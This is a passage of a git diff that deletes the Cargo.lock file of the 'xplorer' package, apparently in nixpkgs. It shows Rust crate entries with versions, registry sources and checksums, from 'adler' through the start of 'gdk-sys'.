 delete mode 100644 pkgs/by-name/xp/xplorer/Cargo.lock

diff --git a/pkgs/by-name/xp/xplorer/Cargo.lock b/pkgs/by-name/xp/xplorer/Cargo.lock
deleted file mode 100644
index d0ca3bf679f5..000000000000
--- a/pkgs/by-name/xp/xplorer/Cargo.lock
+++ /dev/null
@@ -1,4672 +0,0 @@
-# This file is automatically @generated by Cargo.
-# It is not intended for manual editing.
-version = 3
-
-[[package]]
-name = "adler"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe"
-
-[[package]]
-name = "adler32"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aae1277d39aeec15cb388266ecc24b11c80469deae6067e17a1a7aa9e5c1f234"
-
-[[package]]
-name = "aes"
-version = "0.7.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9e8b47f52ea9bae42228d07ec09eb676433d7c4ed1ebdf0f1d1c29ed446f1ab8"
-dependencies = [
- "cfg-if 1.0.0",
- "cipher",
- "cpufeatures",
- "opaque-debug",
-]
-
-[[package]]
-name = "aho-corasick"
-version = "0.7.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b4f55bd91a0978cbfd91c457a164bab8b4001c833b7f323132c0a4e1922dd44e"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "alloc-no-stdlib"
-version = "2.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cc7bb162ec39d46ab1ca8c77bf72e890535becd1751bb45f64c597edb4c8c6b3"
-
-[[package]]
-name = "alloc-stdlib"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "94fb8275041c72129eb51b7d0322c29b8387a0386127718b096429201a5d6ece"
-dependencies = [
- "alloc-no-stdlib",
-]
-
-[[package]]
-name = "android_system_properties"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "anyhow"
-version = "1.0.65"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "98161a4e3e2184da77bb14f02184cdd111e83bbbcc9979dfee3c44b9a85f5602"
-
-[[package]]
-name = "app"
-version = "0.1.0"
-dependencies = [
- "bincode",
- "clap",
- "font-loader",
- "glob",
- "lazy_static",
- "normpath",
- "notify",
- "open 2.1.3",
- "parselnk",
- "path-absolutize",
- "reqwest",
- "serde",
- "serde_json",
- "sysinfo",
- "tauri",
- "tauri-build",
- "tauri-plugin-window-state",
- "tokio",
- "trash",
- "url",
- "window-shadows",
- "window-vibrancy",
- "zip",
-]
-
-[[package]]
-name = "atk"
-version = "0.15.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2c3d816ce6f0e2909a96830d6911c2aff044370b1ef92d7f267b43bae5addedd"
-dependencies = [
- "atk-sys",
- "bitflags",
- "glib",
- "libc",
-]
-
-[[package]]
-name = "atk-sys"
-version = "0.15.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "58aeb089fb698e06db8089971c7ee317ab9644bade33383f63631437b03aafb6"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps 6.0.2",
-]
-
-[[package]]
-name = "attohttpc"
-version = "0.22.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1fcf00bc6d5abb29b5f97e3c61a90b6d3caa12f3faf897d4a3e3607c050a35a7"
-dependencies = [
- "flate2",
- "http",
- "log",
- "native-tls",
- "serde",
- "serde_json",
- "serde_urlencoded",
- "url",
-]
-
-[[package]]
-name = "atty"
-version = "0.2.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8"
-dependencies = [
- "hermit-abi",
- "libc",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "autocfg"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
-
-[[package]]
-name = "base64"
-version = "0.13.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd"
-
-[[package]]
-name = "base64ct"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8a32fd6af2b5827bce66c29053ba0e7c42b9dcab01835835058558c10851a46b"
-
-[[package]]
-name = "bincode"
-version = "1.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "bitflags"
-version = "1.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
-
-[[package]]
-name = "block"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0d8c1fef690941d3e7788d328517591fecc684c084084702d6ff1641e993699a"
-
-[[package]]
-name = "block-buffer"
-version = "0.10.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "69cce20737498f97b993470a6e536b8523f0af7892a4f928cceb1ac5e52ebe7e"
-dependencies = [
- "generic-array",
-]
-
-[[package]]
-name = "brotli"
-version = "3.3.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a1a0b1dbcc8ae29329621f8d4f0d835787c1c38bb1401979b49d13b0b305ff68"
-dependencies = [
- "alloc-no-stdlib",
- "alloc-stdlib",
- "brotli-decompressor",
-]
-
-[[package]]
-name = "brotli-decompressor"
-version = "2.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "59ad2d4653bf5ca36ae797b1f4bb4dbddb60ce49ca4aed8a2ce4829f60425b80"
-dependencies = [
- "alloc-no-stdlib",
- "alloc-stdlib",
-]
-
-[[package]]
-name = "bstr"
-version = "0.2.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba3569f383e8f1598449f1a423e72e99569137b47740b1da11ef19af3d5c3223"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "bumpalo"
-version = "3.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c1ad822118d20d2c234f427000d5acc36eabe1e29a348c89b63dd60b13f28e5d"
-
-[[package]]
-name = "bytemuck"
-version = "1.12.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2f5715e491b5a1598fc2bef5a606847b5dc1d48ea625bd3c02c00de8285591da"
-
-[[package]]
-name = "byteorder"
-version = "1.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610"
-
-[[package]]
-name = "bytes"
-version = "1.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec8a7b6a70fde80372154c65702f00a0f56f3e1c36abbc6c440484be248856db"
-
-[[package]]
-name = "bzip2"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6afcd980b5f3a45017c57e57a2fcccbb351cc43a356ce117ef760ef8052b89b0"
-dependencies = [
- "bzip2-sys",
- "libc",
-]
-
-[[package]]
-name = "bzip2-sys"
-version = "0.1.11+1.0.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "736a955f3fa7875102d57c82b8cac37ec45224a07fd32d58f9f7a186b6cd4cdc"
-dependencies = [
- "cc",
- "libc",
- "pkg-config",
-]
-
-[[package]]
-name = "cairo-rs"
-version = "0.15.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c76ee391b03d35510d9fa917357c7f1855bd9a6659c95a1b392e33f49b3369bc"
-dependencies = [
- "bitflags",
- "cairo-sys-rs",
- "glib",
- "libc",
- "thiserror",
-]
-
-[[package]]
-name = "cairo-sys-rs"
-version = "0.15.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3c55d429bef56ac9172d25fecb85dc8068307d17acd74b377866b7a1ef25d3c8"
-dependencies = [
- "glib-sys",
- "libc",
- "system-deps 6.0.2",
-]
-
-[[package]]
-name = "cargo_toml"
-version = "0.11.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e72c3ff59e3b7d24630206bb63a73af65da4ed5df1f76ee84dfafb9fee2ba60e"
-dependencies = [
- "serde",
- "serde_derive",
- "toml",
-]
-
-[[package]]
-name = "cc"
-version = "1.0.73"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11"
-dependencies = [
- "jobserver",
-]
-
-[[package]]
-name = "cesu8"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c"
-
-[[package]]
-name = "cfb"
-version = "0.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "74f89d248799e3f15f91b70917f65381062a01bb8e222700ea0e5a7ff9785f9c"
-dependencies = [
- "byteorder",
- "uuid 0.8.2",
-]
-
-[[package]]
-name = "cfg-expr"
-version = "0.9.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3431df59f28accaf4cb4eed4a9acc66bea3f3c3753aa6cdc2f024174ef232af7"
-dependencies = [
- "smallvec",
-]
-
-[[package]]
-name = "cfg-expr"
-version = "0.10.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0aacacf4d96c24b2ad6eb8ee6df040e4f27b0d0b39a5710c30091baa830485db"
-dependencies = [
- "smallvec",
-]
-
-[[package]]
-name = "cfg-if"
-version = "0.1.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822"
-
-[[package]]
-name = "cfg-if"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
-
-[[package]]
-name = "chrono"
-version = "0.4.22"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bfd4d1b31faaa3a89d7934dbded3111da0d2ef28e3ebccdb4f0179f5929d1ef1"
-dependencies = [
- "iana-time-zone",
- "js-sys",
- "num-integer",
- "num-traits",
- "time 0.1.44",
- "wasm-bindgen",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "cipher"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7ee52072ec15386f770805afd189a01c8841be8696bed250fa2f13c4c0d6dfb7"
-dependencies = [
- "generic-array",
-]
-
-[[package]]
-name = "clap"
-version = "3.2.22"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "86447ad904c7fb335a790c9d7fe3d0d971dc523b8ccd1561a520de9a85302750"
-dependencies = [
- "atty",
- "bitflags",
- "clap_lex",
- "indexmap",
- "strsim",
- "termcolor",
- "textwrap",
-]
-
-[[package]]
-name = "clap_lex"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2850f2f5a82cbf437dd5af4d49848fbdfc27c157c3d010345776f952765261c5"
-dependencies = [
- "os_str_bytes",
-]
-
-[[package]]
-name = "cmake"
-version = "0.1.48"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e8ad8cef104ac57b68b89df3208164d228503abbdce70f6880ffa3d970e7443a"
-dependencies = [
- "cc",
-]
-
-[[package]]
-name = "cocoa"
-version = "0.24.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6f63902e9223530efb4e26ccd0cf55ec30d592d3b42e21a28defc42a9586e832"
-dependencies = [
- "bitflags",
- "block",
- "cocoa-foundation",
- "core-foundation",
- "core-graphics",
- "foreign-types",
- "libc",
- "objc",
-]
-
-[[package]]
-name = "cocoa-foundation"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7ade49b65d560ca58c403a479bb396592b155c0185eada742ee323d1d68d6318"
-dependencies = [
- "bitflags",
- "block",
- "core-foundation",
- "core-graphics-types",
- "foreign-types",
- "libc",
- "objc",
-]
-
-[[package]]
-name = "color_quant"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3d7b894f5411737b7867f4827955924d7c254fc9f4d91a6aad6b097804b1018b"
-
-[[package]]
-name = "combine"
-version = "4.6.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "35ed6e9d84f0b51a7f52daf1c7d71dd136fd7a3f41a8462b8cdb8c78d920fad4"
-dependencies = [
- "bytes",
- "memchr",
-]
-
-[[package]]
-name = "constant_time_eq"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "245097e9a4535ee1e3e3931fcfcd55a796a44c643e8596ff6566d68f09b87bbc"
-
-[[package]]
-name = "convert_case"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6245d59a3e82a7fc217c5828a6692dbc6dfb63a0c8c90495621f7b9d79704a0e"
-
-[[package]]
-name = "core-foundation"
-version = "0.9.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146"
-dependencies = [
- "core-foundation-sys",
- "libc",
-]
-
-[[package]]
-name = "core-foundation-sys"
-version = "0.8.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5827cebf4670468b8772dd191856768aedcb1b0278a04f989f7766351917b9dc"
-
-[[package]]
-name = "core-graphics"
-version = "0.22.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2581bbab3b8ffc6fcbd550bf46c355135d16e9ff2a6ea032ad6b9bf1d7efe4fb"
-dependencies = [
- "bitflags",
- "core-foundation",
- "core-graphics-types",
- "foreign-types",
- "libc",
-]
-
-[[package]]
-name = "core-graphics-types"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3a68b68b3446082644c91ac778bf50cd4104bfb002b5a6a7c44cca5a2c70788b"
-dependencies = [
- "bitflags",
- "core-foundation",
- "foreign-types",
- "libc",
-]
-
-[[package]]
-name = "core-text"
-version = "19.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "99d74ada66e07c1cefa18f8abfba765b486f250de2e4a999e5727fc0dd4b4a25"
-dependencies = [
- "core-foundation",
- "core-graphics",
- "foreign-types",
- "libc",
-]
-
-[[package]]
-name = "cpufeatures"
-version = "0.2.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "28d997bd5e24a5928dd43e46dc529867e207907fe0b239c3477d924f7f2ca320"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "crc32fast"
-version = "1.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d"
-dependencies = [
- "cfg-if 1.0.0",
-]
-
-[[package]]
-name = "crossbeam-channel"
-version = "0.5.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c2dd04ddaf88237dc3b8d8f9a3c1004b506b54b3313403944054d23c0870c521"
-dependencies = [
- "cfg-if 1.0.0",
- "crossbeam-utils",
-]
-
-[[package]]
-name = "crossbeam-deque"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "715e8152b692bba2d374b53d4875445368fdf21a94751410af607a5ac677d1fc"
-dependencies = [
- "cfg-if 1.0.0",
- "crossbeam-epoch",
- "crossbeam-utils",
-]
-
-[[package]]
-name = "crossbeam-epoch"
-version = "0.9.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f916dfc5d356b0ed9dae65f1db9fc9770aa2851d2662b988ccf4fe3516e86348"
-dependencies = [
- "autocfg",
- "cfg-if 1.0.0",
- "crossbeam-utils",
- "memoffset",
- "scopeguard",
-]
-
-[[package]]
-name = "crossbeam-utils"
-version = "0.8.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "edbafec5fa1f196ca66527c1b12c2ec4745ca14b50f1ad8f9f6f720b55d11fac"
-dependencies = [
- "cfg-if 1.0.0",
-]
-
-[[package]]
-name = "crypto-common"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
-dependencies = [
- "generic-array",
- "typenum",
-]
-
-[[package]]
-name = "cssparser"
-version = "0.27.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "754b69d351cdc2d8ee09ae203db831e005560fc6030da058f86ad60c92a9cb0a"
-dependencies = [
- "cssparser-macros",
- "dtoa-short",
- "itoa 0.4.8",
- "matches",
- "phf 0.8.0",
- "proc-macro2",
- "quote",
- "smallvec",
- "syn",
-]
-
-[[package]]
-name = "cssparser-macros"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dfae75de57f2b2e85e8768c3ea840fd159c8f33e2b6522c7835b7abac81be16e"
-dependencies = [
- "quote",
- "syn",
-]
-
-[[package]]
-name = "ctor"
-version = "0.1.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cdffe87e1d521a10f9696f833fe502293ea446d7f256c06128293a4119bdf4cb"
-dependencies = [
- "quote",
- "syn",
-]
-
-[[package]]
-name = "cty"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b365fabc795046672053e29c954733ec3b05e4be654ab130fe8f1f94d7051f35"
-
-[[package]]
-name = "darling"
-version = "0.13.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a01d95850c592940db9b8194bc39f4bc0e89dee5c4265e4b1807c34a9aba453c"
-dependencies = [
- "darling_core",
- "darling_macro",
-]
-
-[[package]]
-name = "darling_core"
-version = "0.13.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "859d65a907b6852c9361e3185c862aae7fafd2887876799fa55f5f99dc40d610"
-dependencies = [
- "fnv",
- "ident_case",
- "proc-macro2",
- "quote",
- "strsim",
- "syn",
-]
-
-[[package]]
-name = "darling_macro"
-version = "0.13.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c972679f83bdf9c42bd905396b6c3588a843a17f0f16dfcfa3e2c5d57441835"
-dependencies = [
- "darling_core",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "dbus"
-version = "0.9.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6f8bcdd56d2e5c4ed26a529c5a9029f5db8290d433497506f958eae3be148eb6"
-dependencies = [
- "libc",
- "libdbus-sys",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "deflate"
-version = "0.7.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "707b6a7b384888a70c8d2e8650b3e60170dfc6a67bb4aa67b6dfca57af4bedb4"
-dependencies = [
- "adler32",
- "byteorder",
-]
-
-[[package]]
-name = "derive_more"
-version = "0.99.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4fb810d30a7c1953f91334de7244731fc3f3c10d7fe163338a35b9f640960321"
-dependencies = [
- "convert_case",
- "proc-macro2",
- "quote",
- "rustc_version 0.4.0",
- "syn",
-]
-
-[[package]]
-name = "digest"
-version = "0.10.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "adfbc57365a37acbd2ebf2b64d7e69bb766e2fea813521ed536f5d0520dcf86c"
-dependencies = [
- "block-buffer",
- "crypto-common",
- "subtle",
-]
-
-[[package]]
-name = "dirs-next"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b98cf8ebf19c3d1b223e151f99a4f9f0690dca41414773390fc824184ac833e1"
-dependencies = [
- "cfg-if 1.0.0",
- "dirs-sys-next",
-]
-
-[[package]]
-name = "dirs-sys-next"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ebda144c4fe02d1f7ea1a7d9641b6fc6b580adcfa024ae48797ecdeb6825b4d"
-dependencies = [
- "libc",
- "redox_users",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "dispatch"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bd0c93bb4b0c6d9b77f4435b0ae98c24d17f1c45b2ff844c6151a07256ca923b"
-
-[[package]]
-name = "dtoa"
-version = "0.4.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "56899898ce76aaf4a0f24d914c97ea6ed976d42fec6ad33fcbb0a1103e07b2b0"
-
-[[package]]
-name = "dtoa-short"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bde03329ae10e79ede66c9ce4dc930aa8599043b0743008548680f25b91502d6"
-dependencies = [
- "dtoa",
-]
-
-[[package]]
-name = "either"
-version = "1.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "90e5c1c8368803113bf0c9584fc495a58b86dc8a29edbf8fe877d21d9507e797"
-
-[[package]]
-name = "embed_plist"
-version = "1.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ef6b89e5b37196644d8796de5268852ff179b44e96276cf4290264843743bb7"
-
-[[package]]
-name = "encoding_rs"
-version = "0.8.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9852635589dc9f9ea1b6fe9f05b50ef208c85c834a562f0c6abb1c475736ec2b"
-dependencies = [
- "cfg-if 1.0.0",
-]
-
-[[package]]
-name = "expat-sys"
-version = "2.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "658f19728920138342f68408b7cf7644d90d4784353d8ebc32e7e8663dbe45fa"
-dependencies = [
- "cmake",
- "pkg-config",
-]
-
-[[package]]
-name = "fastrand"
-version = "1.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a7a407cfaa3385c4ae6b23e84623d48c2798d06e3e6a1878f7f59f17b3f86499"
-dependencies = [
- "instant",
-]
-
-[[package]]
-name = "field-offset"
-version = "0.3.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1e1c54951450cbd39f3dbcf1005ac413b49487dabf18a720ad2383eccfeffb92"
-dependencies = [
- "memoffset",
- "rustc_version 0.3.3",
-]
-
-[[package]]
-name = "filetime"
-version = "0.2.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e94a7bbaa59354bc20dd75b67f23e2797b4490e9d6928203fb105c79e448c86c"
-dependencies = [
- "cfg-if 1.0.0",
- "libc",
- "redox_syscall",
- "windows-sys 0.36.1",
-]
-
-[[package]]
-name = "flate2"
-version = "1.0.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f82b0f4c27ad9f8bfd1f3208d882da2b09c301bc1c828fd3a00d0216d2fbbff6"
-dependencies = [
- "crc32fast",
- "miniz_oxide",
-]
-
-[[package]]
-name = "fnv"
-version = "1.0.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
-
-[[package]]
-name = "font-loader"
-version = "0.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c49d6b4c11dca1a1dd931a34a9f397e2da91abe3de4110505f3530a80e560b52"
-dependencies = [
- "core-foundation",
- "core-text",
- "libc",
- "servo-fontconfig",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "foreign-types"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1"
-dependencies = [
- "foreign-types-shared",
-]
-
-[[package]]
-name = "foreign-types-shared"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b"
-
-[[package]]
-name = "form_urlencoded"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a9c384f161156f5260c24a097c56119f9be8c798586aecc13afbcbe7b7e26bf8"
-dependencies = [
- "percent-encoding",
-]
-
-[[package]]
-name = "freetype-sys"
-version = "0.13.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a37d4011c0cc628dfa766fcc195454f4b068d7afdc2adfd28861191d866e731a"
-dependencies = [
- "cmake",
- "libc",
- "pkg-config",
-]
-
-[[package]]
-name = "fsevent"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5ab7d1bd1bd33cc98b0889831b72da23c0aa4df9cec7e0702f46ecea04b35db6"
-dependencies = [
- "bitflags",
- "fsevent-sys",
-]
-
-[[package]]
-name = "fsevent-sys"
-version = "2.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f41b048a94555da0f42f1d632e2e19510084fb8e303b0daa2816e733fb3644a0"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "fuchsia-zircon"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2e9763c69ebaae630ba35f74888db465e49e259ba1bc0eda7d06f4a067615d82"
-dependencies = [
- "bitflags",
- "fuchsia-zircon-sys",
-]
-
-[[package]]
-name = "fuchsia-zircon-sys"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3dcaa9ae7725d12cdb85b3ad99a434db70b468c09ded17e012d86b5c1010f7a7"
-
-[[package]]
-name = "futf"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "df420e2e84819663797d1ec6544b13c5be84629e7bb00dc960d6917db2987843"
-dependencies = [
- "mac",
- "new_debug_unreachable",
-]
-
-[[package]]
-name = "futures-channel"
-version = "0.3.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "30bdd20c28fadd505d0fd6712cdfcb0d4b5648baf45faef7f852afb2399bb050"
-dependencies = [
- "futures-core",
-]
-
-[[package]]
-name = "futures-core"
-version = "0.3.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4e5aa3de05362c3fb88de6531e6296e85cde7739cccad4b9dfeeb7f6ebce56bf"
-
-[[package]]
-name = "futures-executor"
-version = "0.3.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9ff63c23854bee61b6e9cd331d523909f238fc7636290b96826e9cfa5faa00ab"
-dependencies = [
- "futures-core",
- "futures-task",
- "futures-util",
-]
-
-[[package]]
-name = "futures-io"
-version = "0.3.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bbf4d2a7a308fd4578637c0b17c7e1c7ba127b8f6ba00b29f717e9655d85eb68"
-
-[[package]]
-name = "futures-macro"
-version = "0.3.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "42cd15d1c7456c04dbdf7e88bcd69760d74f3a798d6444e16974b505b0e62f17"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "futures-sink"
-version = "0.3.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "21b20ba5a92e727ba30e72834706623d94ac93a725410b6a6b6fbc1b07f7ba56"
-
-[[package]]
-name = "futures-task"
-version = "0.3.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a6508c467c73851293f390476d4491cf4d227dbabcd4170f3bb6044959b294f1"
-
-[[package]]
-name = "futures-util"
-version = "0.3.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "44fb6cb1be61cc1d2e43b262516aafcf63b241cffdb1d3fa115f91d9c7b09c90"
-dependencies = [
- "futures-core",
- "futures-macro",
- "futures-task",
- "pin-project-lite",
- "pin-utils",
- "slab",
-]
-
-[[package]]
-name = "fxhash"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c31b6d751ae2c7f11320402d34e41349dd1016f8d5d45e48c4312bc8625af50c"
-dependencies = [
- "byteorder",
-]
-
-[[package]]
-name = "gdk"
-version = "0.15.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a6e05c1f572ab0e1f15be94217f0dc29088c248b14f792a5ff0af0d84bcda9e8"
-dependencies = [
- "bitflags",
- "cairo-rs",
- "gdk-pixbuf",
- "gdk-sys",
- "gio",
- "glib",
- "libc",
- "pango",
-]
-
-[[package]]
-name = "gdk-pixbuf"
-version = "0.15.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ad38dd9cc8b099cceecdf41375bb6d481b1b5a7cd5cd603e10a69a9383f8619a"
-dependencies = [
- "bitflags",
- "gdk-pixbuf-sys",
- "gio",
- "glib",
- "libc",
-]
-
-[[package]]
-name = "gdk-pixbuf-sys"
-version = "0.15.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "140b2f5378256527150350a8346dbdb08fadc13453a7a2d73aecd5fab3c402a7"
-dependencies = [
- "gio-sys",
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps 6.0.2",
-]
-
-[[package]]
-name = "gdk-sys"
-version = "0.15.1"
